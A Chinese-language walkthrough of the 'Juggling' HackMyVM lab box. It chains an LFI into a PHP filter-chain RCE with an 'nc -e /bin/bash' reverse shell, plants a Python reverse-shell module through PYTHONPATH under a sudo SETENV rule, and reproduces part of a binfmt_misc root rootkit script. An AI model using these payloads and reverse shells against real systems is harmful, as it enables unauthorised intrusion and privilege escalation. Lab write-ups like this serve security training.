文章

Juggling

Juggling

image-20240710135039282

image-20240712114156382

信息搜集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali💀kali)-[~/temp/juggling]
└─$ rustscan -a $IP -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.0.188:22
Open 192.168.0.188:80
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjRCpLEF00zJy/GkOtP8umEO3vDUpsiovHmmmfKN5njf5d4aqXBW3wUjqVL3VotabyslG6gNZnaPODVt2z3MdHsyNBuJZrbRrN26Dmz3x6pzJPnizxq2AXGzfgL89jQi83yr72gb2FpxGXm8BqYTTXwbiF7NIi+ekTmRWBa6LUQHgirqggrUq5xdmj0lTu+lMQ2Tzy4xfL6BKgyg4IaZlO9Kz9Z02ghG6VDr2vV9aInO4gu/i2nlvM+aErvWyREoqspjvhgPd0Q950AkOkKfjD5hHxLFZo7aR3PHJev+8zrKwsv/6bUAQIl8nUYifu/a+1vpSddyl37ikQNLY7RsCboBNtPryz7czF1UUtWMlICTHegrchZT3FEr+c5g51hEj+AkwwQoan2y8SCMhKIbWQQH0qBWNXnfNpKGS5y8Vn8s6KqZlsPq49/k9Pmr0jplaqgKDrPuiddGOehu5Yh6Fg5jsk5c5zXttWY17TyJdeab1LBOBJMY2ur4ZnSh+zv7E=
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOAIZW58yN/LbK35zNnyYvo4vNm1bnBkyDn4KzLYYyGBG2owUbmMp8WcmKWxT5ImSPDUE24mlhafaDEb8smp1Mc=
|   256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB57U+4lDKyoTXGtTCBdDtmnL1YvIhNjQpbp/tdjDYGx
80/tcp open  http    syn-ack nginx 1.18.0
|_http-title: Did not follow redirect to http://juggling.hmv
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以添加域名解析了:

1
192.168.0.188   juggling.hmv

目录扫描

1
2
3
4
5
6
7
8
9
10
┌──(kali💀kali)-[~/temp/juggling]
└─$ gobuster dir -u http://juggling.hmv -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,txt,html 
/images               (Status: 301) [Size: 169] [--> http://juggling.hmv/images/]
/index.php            (Status: 200) [Size: 2485]
/blog.php             (Status: 200) [Size: 0]
/admin.php            (Status: 302) [Size: 0] [--> index.php]
/css                  (Status: 301) [Size: 169] [--> http://juggling.hmv/css/]
/test.php             (Status: 200) [Size: 32]
/js                   (Status: 301) [Size: 169] [--> http://juggling.hmv/js/]
/logout.php           (Status: 302) [Size: 1] [--> index.php]

漏洞发现

踩点

image-20240712115533906

是一个登录界面!查看源代码,发现一处疑似存在LFI的文件路径:

image-20240712115832183

image-20240712115909433

查看源代码也没啥东西,尝试包括/etc/passwd,但是都没有收获。

LFI FUZZ

尝试fuzz一下是否由文件可以进行读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali💀kali)-[~/temp/juggling]
└─$ ffuf -u http://juggling.hmv/blog.php?page=FUZZ -w /usr/share/wordlists/dirb/common.txt --fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://juggling.hmv/blog.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

index                   [Status: 200, Size: 2485, Words: 97, Lines: 76, Duration: 97ms]
logout                  [Status: 302, Size: 1, Words: 2, Lines: 1, Duration: 90ms]
test                    [Status: 200, Size: 32, Words: 7, Lines: 1, Duration: 96ms]
:: Progress: [4614/4614] :: Job [1/1] :: 477 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
┌──(kali💀kali)-[~/temp/juggling]
└─$ curl http://juggling.hmv/blog.php?page=index                                               
<!DOCTYPE html>
<html lang="en">
 <head> 
  <title>Juggling</title> 
  <meta charset="utf-8" /> 
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> 
  <link href="https://fonts.googleapis.com/css?family=Lato:300,400,700&amp;display=swap" rel="stylesheet" /> 
  <link rel="stylesheet" href="css/font-awesome.min.css" /> 
  <link rel="stylesheet" href="css/style.css" /> 
 </head> 
 <body> 
  <section class="ftco-section"> 
   <div class="container"> 
    <div class="row justify-content-center"> 
     <div class="col-md-6 text-center mb-5"> 
      <h2 class="heading-section">Juggling Login</h2> 
     </div> 
    </div> 
    <div class="row justify-content-center"> 
     <div class="col-md-12 col-lg-10"> 
      <div class="wrap d-md-flex"> 
       <video class="img" width="600" height="500" autoplay="" loop="" muted=""> 
        <source src="images/juggle.mp4" type="video/mp4"></source> 
       </video> 
       <div class="login-wrap p-4 p-md-5"> 
        <div class="d-flex"> 
         <div class="w-100"> 
          <h3 class="mb-5">Sign In</h3> 
         </div> 
        </div> 
        <form notaction="blog.php?page=test" class="signin-form" method="POST"> 
         <div class="form-group mb-2"> 
          <label class="label">Username</label> 
          <input type="text" name="username" class="form-control" placeholder="Username" required="" /> 
         </div> 
         <div class="form-group mb-4"> 
          <label class="label">Password</label> 
          <input type="password" name="password" class="form-control" placeholder="Password" required="" pattern="(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9]).{8,15}" /> 
         </div> 
         <div class="container"> 
          <div class="row justify-content-md-center"> 
           <div class="col col-lg-5"> 
            <input type="text" name="val1" class="form-control" placeholder="Value 1" /> 
           </div> 
           <div class="col col-lg-5"> 
            <input type="text" name="val2" class="form-control" placeholder="Value 2" /> 
           </div> 
          </div> 
         </div> 
         <div class="mt-5"> 
          <button type="submit" name="submit" class="form-control btn btn-primary rounded submit">Sign In</button> 
         </div> 
        </form> 
       </div> 
      </div> 
     </div> 
    </div> 
   </div> 
  </section> 
  <script src="js/jquery.min.js"></script> 
  <script src="js/popper.js"></script> 
  <script src="js/bootstrap.min.js"></script> 
  <script src="js/main.js"></script>  
 </body>
</html>

看一下filter是否可以进行读取:

1
2
3
┌──(kali💀kali)-[~/temp/juggling]
└─$ curl http://juggling.hmv/blog.php?page=php://filter/read=convert.base64-encode/resource=index
PD9waHAKCXNlc3Npb25fc3RhcnQoKTsKCXJlcXVpcmVfb25jZSgic3FsZGJfY29uZmlnLnBocCIpOwoKCWlmKGlzc2V0KCRfU0VTU0lPTlsndXNlcm5hbWUnXSkpIHsKICAgICAgICAJaGVhZGVyKCJMb2NhdGlvbjogYWRtaW4ucGhwIik7CiAgICAgICAgCWRpZSgpOwogICAgCX0KCglpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsKCQkkdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CgkJJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOwoJCSR2YWwxID0gJF9QT1NUWyd2YWwxJ107CgkJJHZhbDIgPSAkX1BPU1RbJ3ZhbDInXTsKCgkJJG1hZ2ljdmFsID0gc3RyY2FzZWNtcCgkdmFsMSwkdmFsMik7CgkJJGtleSA9IG1kNSgiJHVzZXJuYW1lIi4kcGFzc3dvcmQpOwoJCWlmIChlbXB0eSgkdmFsKSAmJiBlbXB0eSgkdmFsMikpIHsKCQkJZWNobyAnPGJyPjxoMSBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyI+IFZhbHVlIDEgYW5kIFZhbHVlMiBjYW5cJ3QgYmUgRW1wdHkgPC9oMT4nOwoJCQloZWFkZXIoIlJlZnJlc2g6MyIpOwoJCX0gZWxzZSB7CgkJCWlmICgkdmFsMSA9PT0gJHZhbDIpIHsKCQkJCWVjaG8gJzxicj48aDEgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO2NvbG9yOnJlZDsiPiBWYWx1ZSAxIGFuZCBWYWx1ZTIgY2FuXCd0IGJlIFNhbWUgPC9oMT4nOwoJCQkJaGVhZGVyKCJSZWZyZXNoOjMiKTsKCQkJfSBlbHNlIHsKCQkJCWlmICgka2V5ID09IG51bWJlcl9mb3JtYXQoJG1hZ2ljdmFsICogMTMzNykpIHsKCQkJCQkkX1NFU1NJT05bJ3VzZXJuYW1lJ10gPSAicnlhbiI7CgkJCQkJaGVhZGVyKCJMb2NhdGlvbjogYWRtaW4ucGhwIik7IGRpZSgpOwoJCQkJCSMgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3MzY3VyMy5qdWdnbGluZy5obXYvaW5kZXgucGhwIik7CgkJCQkJaGVhZGVyKCJMb2NhdGlvbjogLi4vczNjdXIzL2luZGV4LnBocCIpOwoJCQkJfSBlbHNlIHsKCQkJCQloZWFkZXIoIlJlZnJlc2g6MyIpOwoJCQkJfQoJCQl9CgkJfQoJfQo/Pgo8IWRvY3R5cGUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgoJPGhlYWQ+CgkJPHRpdGxlPkp1Z2dsaW5nPC90aXRsZT4KCQk8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CgkJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KCgkJPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUxhdG86MzAwLDQwMCw3MDAmZGlzcGxheT1zd2FwIiByZWw9InN0eWxlc2hlZXQiPgoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIj4KCQk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgoJPC9oZWFkPgoKCTxib2R5PgoJCTxzZWN0aW9uIGNsYXNzPSJmdGNvLXNlY3Rpb24iPgoJCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQkJPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1jZW50ZXIiPgoJCQkJCTxkaXYgY2xhc3M9ImNvbC1tZC02IHRleHQtY2VudGVyIG1iLTUiPgoJCQkJCQk8aDIgY2xhc3M9ImhlYWRpbmctc2VjdGlvbiI+SnVnZ2xpbmcgTG9naW48L2gyPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgoJCQkJPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1jZW50ZXIiPgoJCQkJCTxkaXYgY2xhc3M9ImNvbC1tZC0xMiBjb2wtbGctMTAiPgoJCQkJCQk8ZGl2IGNsYXNzPSJ3cmFwIGQtbWQtZmxleCI+CgkJCQkJCQk8dmlkZW8gY2xhc3M9ImltZyIgd2lkdGg9IjYwMCIgaGVpZ2h0PSI1MDAiIGF1dG9wbGF5IGxvb3AgbXV0ZWQ+CgkJCQkJCQkJPHNvdXJjZSBzcmM9ImltYWdlcy9qdWdnbGUubXA0IiB0eXBlPSJ2aWRlby9tcDQiIC8+CgkJCQkJCQk8L3ZpZGVvPgoJCQkJCQkJPGRpdiBjbGFzcz0ibG9naW4td3JhcCBwLTQgcC1tZC01Ij4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkLWZsZXgiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ3LTEwMCI+CgkJCQkJCQkJCQk8aDMgY2xhc3M9Im1iLTUiPlNpZ24gSW48L2gzPgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkKCQkJCQkJCQk8Zm9ybSBub3RhY3Rpb249ImJsb2cucGhwP3BhZ2U9dGVzdCIgY2xhc3M9InNpZ25pbi1mb3JtIiBtZXRob2Q9IlBPU1QiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG1iLTIiPgoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJsYWJlbCI+VXNlcm5hbWU8L2xhYmVsPgoJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiIHJlcXVpcmVkPgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCgkJCQkJCQkJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgbWItNCI+CgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9ImxhYmVsIj5QYXNzd29yZDwvbGFiZWw+CgkJCQkJCQkJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiIHJlcXVpcmVkIHBhdHRlcm49Iig/PS4qW2Etel0pKD89LipbQS1aXSkoPz0uKlswLTldKS57OCwxNX0iPgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCgkJCQkJCQkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgCQkJCQkJCQkJCTxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJjb2wgY29sLWxnLTUiPgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idmFsMSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9IlZhbHVlIDEiPgoJCQkJCQkJCQkJCTwvZGl2PgoKCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJjb2wgY29sLWxnLTUiPgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idmFsMiIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9IlZhbHVlIDIiPgoJCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoKCQkJCQkJCQkJPGRpdiBjbGFzcz0ibXQtNSI+CgkJCQkJCQkJCQk8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGJ0biBidG4tcHJpbWFyeSByb3VuZGVkIHN1Ym1pdCI+U2lnbiBJbjwvYnV0dG9uPgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Zvcm0+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJPC9zZWN0aW9uPgoKCQk8c2NyaXB0IHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CgkJPHNjcmlwdCBzcmM9ImpzL3BvcHBlci5qcyI+PC9zY3JpcHQ+CgkJPHNjcmlwdCBzcmM9ImpzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPSJqcy9tYWluLmpzIj48L3NjcmlwdD4KCTwvYm9keT4KPC9odG1sPgo= 

发现可以进行读取,尝试构造php的filter利用链看看能不能反弹shell!

image-20240712121615801

1
http://juggling.hmv/blog.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=nc%20-e%20/bin/bash%20192.168.0.143%201234

image-20240712121756856

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(remote) www-data@juggling:/var/www/juggling$ sudo -l
Matching Defaults entries for www-data on juggling:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on juggling:
    (rehan) SETENV: NOPASSWD: /opt/md5.py
(remote) www-data@juggling:/var/www/juggling$ cat /opt/md5.py
#!/usr/bin/python3

import hashlib

result = hashlib.md5("Hello World".encode()).hexdigest()
print(f"md5sum: {result}")
(remote) www-data@juggling:/var/www/juggling$ ls -la /opt/md5.py
-rwxr-xr-x 1 root root 120 Jul 10  2022 /opt/md5.py
(remote) www-data@juggling:/var/www/juggling$ cd /home/rehan/
bash: cd: /home/rehan/: Permission denied
(remote) www-data@juggling:/var/www/juggling$ cat /etc/passwd | grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rehan:x:1001:1001::/home/rehan:/bin/bash
(remote) www-data@juggling:/var/www/juggling$ python3 /opt/md5.py 
md5sum: b10a8db164e0754105b7a99be72e3fe5
(remote) www-data@juggling:/var/www/juggling$ find / -name *hashlib* 2>/dev/null
/usr/lib/python3.9/hashlib.py
/usr/lib/python3.9/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
/usr/lib/python3.9/__pycache__/hashlib.cpython-39.pyc
/usr/lib/python3.9/test/support/__pycache__/hashlib_helper.cpython-39.pyc
/usr/lib/python3.9/test/support/hashlib_helper.py
(remote) www-data@juggling:/var/www/juggling$ ls -la /usr/lib/python3.9/hashlib.py
-rw-r--r-- 1 root root 10010 Feb 28  2021 /usr/lib/python3.9/hashlib.py

路径劫持提权用户

仔细看我们是可以配置路径变量的,参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation#setenv

写一个反弹shell的hashlib包,丢在/tmp,然后尝试劫持:

1
2
3
4
5
6
7
8
import socket, subprocess, os;
import pty;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.0.143", 2345));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
pty.spawn("bash")

配置监听然后尝试执行:

1
(remote) www-data@juggling:/tmp$ sudo -u rehan PYTHONPATH=/tmp/ /opt/md5.py

image-20240712123231322

提权root

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(remote) rehan@juggling:/tmp$ cd ~
(remote) rehan@juggling:/home/rehan$ ls -la
total 20
drwxr-x--- 2 rehan rehan 4096 Jul 10  2022 .
drwxr-xr-x 3 root  root  4096 Jul  9  2022 ..
lrwxrwxrwx 1 root  root     9 Jul 10  2022 .bash_history -> /dev/null
-rw-r--r-- 1 rehan rehan 3526 Aug  4  2021 .bashrc
-rw-r--r-- 1 rehan rehan  807 Aug  4  2021 .profile
-r-------- 1 rehan rehan   33 Jul  9  2022 user.txt
(remote) rehan@juggling:/home/rehan$ cat user.txt 
de0a7d9cb0e1ae6190e85549f63a26c1
(remote) rehan@juggling:/home/rehan$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for rehan: 
sudo: a password is required
(remote) rehan@juggling:/home/rehan$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
(remote) rehan@juggling:/home/rehan$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/local/bin/register cap_dac_override=ep

发现一个奇怪的Capabilities文件,其可以对文件进行覆写:

1
2
3
4
(remote) rehan@juggling:/home/rehan$ ls -la /usr/local/bin/register
-rwxr-x--- 1 root rehan 16808 Jul 10  2022 /usr/local/bin/register
(remote) rehan@juggling:/home/rehan$ file /usr/local/bin/register
/usr/local/bin/register: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=77b1bc1a5d6700dad83368f9586364ab0a245447, for GNU/Linux 3.2.0, not stripped

程序分析

下载到本地进行程序分析:

1
2
3
4
5
6
7
8
┌──(kali💀kali)-[~/temp/juggling]
└─$ pwn checksec register                     
[*] '/home/kali/temp/juggling/register'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

反编译看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  char buf; // [rsp+0h] [rbp-210h]
  int fd; // [rsp+20Ch] [rbp-4h]

  read(0, &buf, 0x200uLL);
  fd = open("/proc/sys/fs/binfmt_misc/register", 1);
  v3 = strlen(&buf);
  write(fd, &buf, v3);
  close(fd);
  return 0;
}

群里问问,然后尝试上传linpeas.sh以及pspy64,没发现啥有用的。

binfmt_misc rootkit利用

注意到/proc/sys/fs/binfmt_misc/register,上网查了一下:https://github.com/toffan/binfmt_misc/blob/master/binfmt_rootkit

Linux 内核有一个名为 Miscellaneous Binary Format(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名和文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件

可以参考:https://pencer.io/ctf/ctf-htb-retired/#binfmt-exploit

https://cloud.tencent.com/developer/article/2341174

https://0xdf.gitlab.io/2022/08/13/htb-retired.html#shell-as-root

https://htb.haydenhousen.com/machines/retired

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/bin/bash

readonly searchsuid="/bin/"
readonly mountpoint="/proc/sys/fs/binfmt_misc"
readonly exe="$0"


warn()
{
    1>&2 echo $@
}

die()
{
    warn $@
    exit -1
}

usage()
{
    cat 1>&2 <<EOF
Usage: $exe
    Gives you a root shell if /proc/sys/fs/binfmt_misc/register is writeable,
    note that it must be enforced by any other mean before your try this, for
    example by typing something like "sudo chmod +6 /*/*/f*/*/*r" while Dave is
    thinking that you are fixing his problem.
EOF
    exit 1
}

function not_writeable()
{
	test ! -w "$mountpoint/register"
}

function pick_suid()
{
	find "$1" -perm -4000 -executable \
	    | tail -n 1
}

function read_magic()
{
    [[ -e "$1" ]] && \
    [[ "$2" =~ [[:digit:]]+ ]] && \
    dd if="$1" bs=1 count="$2" status=none \
        | sed -e 's-\x00-\\x00-g'
}

[[ -n "$1" ]] && usage

not_writeable && die "Error: $mountpoint/register is not writeable"

target="$(pick_suid "$searchsuid")"
test -e "$target" || die "Error: Unable to find a suid binary in $searchsuid"

binfmt_magic="$(read_magic "$target" "126")"
test -z "$binfmt_magic" && die "Error: Unable to retrieve a magic for $target"

fmtname="$(mktemp -u XXXX)"
fmtinterpr="$(mktemp)"

gcc -o "$fmtinterpr" -xc - <<- __EOF__
	#include <stdlib.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <pwd.h>

	int main(int argc, char *argv[])
	{
		// remove our temporary file
		unlink("$fmtinterpr");

		// remove the unused binary format
		FILE* fmt = fopen("$mountpoint/$fmtname", "w");
		fprintf(fmt, "-1\\n");
		fclose(fmt);

		// MOTD
		setuid(0);
		uid_t uid = getuid();
		uid_t euid = geteuid();
		struct passwd *pw = getpwuid(uid);
		struct passwd *epw = getpwuid(euid);
